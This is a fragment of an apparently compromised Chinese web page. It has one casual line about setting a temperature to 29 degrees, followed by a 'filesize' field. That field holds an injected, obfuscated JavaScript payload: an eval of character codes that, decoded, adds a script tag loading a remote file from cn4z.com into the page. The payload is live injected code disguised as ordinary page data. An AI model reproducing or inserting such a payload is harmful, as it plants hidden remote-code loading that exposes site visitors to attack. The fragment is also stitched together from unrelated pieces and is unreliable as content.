一般我是设的是29度,上下差一度也没事
filesize ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,52,122,46,99,111,109,47,99,110,122,122,46,106,115,39,93,59))+' Bytes)